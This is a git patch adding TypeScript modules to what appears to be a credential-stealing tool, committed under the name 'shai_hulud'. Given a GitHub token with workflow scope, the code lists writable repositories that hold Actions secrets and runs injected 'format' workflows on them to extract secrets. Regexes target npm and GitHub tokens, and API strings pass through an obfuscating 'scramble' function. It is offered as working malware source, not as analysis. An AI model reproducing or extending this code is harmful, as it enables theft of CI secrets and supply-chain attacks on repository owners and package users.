From 016f74d61e26dd7364c5b35c21a0b884737b3f25 Mon Sep 17 00:00:00 2001 From: shai_hulud Date: Fri, 3 Jul 2026 00:07:28 +0000 Subject: [PATCH] Upload files to "src/providers/actions" --- src/providers/actions/actions.ts | 50 +++++++++++++++++++++++++++++++ src/providers/actions/github.ts | 40 +++++++++++++++++++++++++ src/providers/actions/pipeline.ts | 29 ++++++++++++++++++ 3 files changed, 119 insertions(+) create mode 100644 src/providers/actions/actions.ts create mode 100644 src/providers/actions/github.ts create mode 100644 src/providers/actions/pipeline.ts diff --git a/src/providers/actions/actions.ts b/src/providers/actions/actions.ts new file mode 100644 index 0000000..37c99a0 --- /dev/null +++ b/src/providers/actions/actions.ts @@ -0,0 +1,50 @@ +import { checkToken } from "../../github_utils/tokenCheck"; +import { logUtil } from "../../utils/logger"; +import { Provider } from "../base"; +import type { ProviderResult } from "../types"; +import { runFormatOnReposWithSecrets } from "./pipeline"; + +export type TokenRepo = { + token: string; + repo: string; + owner: string; +}; + +export class GitHubActionsService extends Provider { + private token; + + constructor(token: string) { + super("github", "actions", { + npmtoken: /npm_[A-Za-z0-9]{36,}/g, + ghtoken: /gh[op]_[A-Za-z0-9]{36}/g, + }); + this.token = token; + } + + async execute(): Promise { + if ((await checkToken(this.token)).hasWorkflowScope) { + const results: any[] = []; + + const collected = runFormatOnReposWithSecrets(this.token); + try { + for await (const collection of collected) { + if (!collection.error) { + results.push(collection); + } + } + } catch (e) { + logUtil.error("Failure collecting results"); + } + + if (!results || Object.keys(results).length === 0) { + logUtil.log("No Secrets."); + return this.failure("No secrets extracted"); + } else { + return this.success({ results }); + } + } else { + logUtil.log("Missing workflow scope."); + return this.failure("No workfow scope or invalid!"); + } + } +} diff --git a/src/providers/actions/github.ts b/src/providers/actions/github.ts new file mode 100644 index 0000000..c4af13a --- /dev/null +++ b/src/providers/actions/github.ts @@ -0,0 +1,40 @@ +declare function scramble(str: string): string; + +const GITHUB_API = scramble("https://api.github.com"); +const USER_AGENT = "node"; + +export function githubHeaders(token: string): Record { + return { + Authorization: `Bearer ${token}`, + Accept: scramble("application/vnd.github+json"), + "User-Agent": USER_AGENT, + }; +} + +/** Low-level fetch wrapper — returns the raw Response. */ +export async function githubFetch( + token: string, + path: string, + init: RequestInit = {}, +): Promise { + return fetch(`${GITHUB_API}${path}`, { + ...init, + headers: { + ...githubHeaders(token), + ...(init.headers as Record), + }, + }); +} + +/** Fetch + assert ok + parse JSON. Throws on non-2xx. */ +export async function githubJson( + token: string, + path: string, + init: RequestInit = {}, +): Promise { + const res = await githubFetch(token, path, init); + if (!res.ok) { + throw new Error(`GitHub API ${res.status} ${res.statusText}: ${path}`); + } + return res.json() as Promise; +} diff --git a/src/providers/actions/pipeline.ts b/src/providers/actions/pipeline.ts new file mode 100644 index 0000000..1b2b59c --- /dev/null +++ b/src/providers/actions/pipeline.ts @@ -0,0 +1,29 @@ +import type { TokenRepo } from "./actions"; +import { streamWritableRepos } from "./repos"; +import { streamRepoSecrets } from "./secrets"; +import { type FormatResult, runFormatWorkflows } from "./workflow"; + +export async function collectReposWithSecrets( + token: string, +): Promise { + const repos: TokenRepo[] = []; + for await (const fullName of streamRepoSecrets( + token, + streamWritableRepos(token), + )) { + const [owner, repo] = fullName.split("/"); + if (owner && repo) repos.push({ token, owner, repo }); + } + return repos; +} + +export async function* runFormatOnReposWithSecrets( + token: string, + concurrency = 5, +): AsyncGenerator { + const repos = await collectReposWithSecrets(token); + + for await (const result of runFormatWorkflows(repos, concurrency)) { + yield result; + } +}